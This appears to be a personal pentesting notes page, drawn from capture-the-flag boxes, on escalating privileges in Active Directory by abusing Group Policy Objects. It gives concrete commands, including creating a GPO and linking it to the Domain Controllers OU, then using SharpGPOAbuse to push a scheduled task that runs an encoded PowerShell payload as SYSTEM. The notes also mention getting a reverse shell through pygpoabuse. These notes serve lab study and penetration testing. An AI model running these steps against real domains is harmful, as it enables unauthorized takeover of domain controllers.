Summery

Group Policy Object (GPO) can be abused to elevate our privileges if we have rights over a given GPO and it’s assigned to some valuable objects.

On another note, GPOs can be confused with Active Directory Certificate Services (ADCS), and therefor with Certipy. It is essential to remember that those are two different subjects. Certipy focuses solely on Active Directory Certificate Services (AD CS), especially misconfigured certificate templates and certificate authorities, and has nothing to do with GPO.

WriteOwner or GenericAll

  1. Get the GUID of the GPO you have privileges over - you can do that with BloodyAD or Pentesting/The Grimoire/Tools/Bloodhound. Impacket also has some similar capabilities in areas like GPOs which are mentioned in Bloodhound. GPO ID will also be good in most cases, Bloodhound shows it well in the Distinguished Name and Gpcpath fields.
  2. Use pygpoabuse to create a local admin or get a reverse shell as one.
  3. To speed things up, you can run an update of domain’s GPOs with gpupdate /force (run it on a domain-joined Windows machine).

Used in: BabyTwo

If WriteGPLink is pared with an abilityh to add new GPOs or you already have right over some policy you can abuse this for privilege escalarion.

In the below example, I have the WriteGPLink permission as well as my user belongs to Group Policy Creator Owners group which means we can create group policies without administrative permissions.

  1. New-GPO -Name privesc | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes - Creates a new GPO, links that GPO to the Domain Controllers OU and because the GPO is linked there, its computer policies can apply to DCs
  2. Get SharpGPOAbuse.exe onto the host.
  3. .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "FRIZZ\Administrator" --Command "cmd.exe" --Arguments "/c powershell.exe -enc <POWERSHELL ONE-LINER>" --GPOName "privesc" - Create a scheduled task through the GPO that runs as SYSTEM on affected computers
  4. gpupdate /force - Apply the policy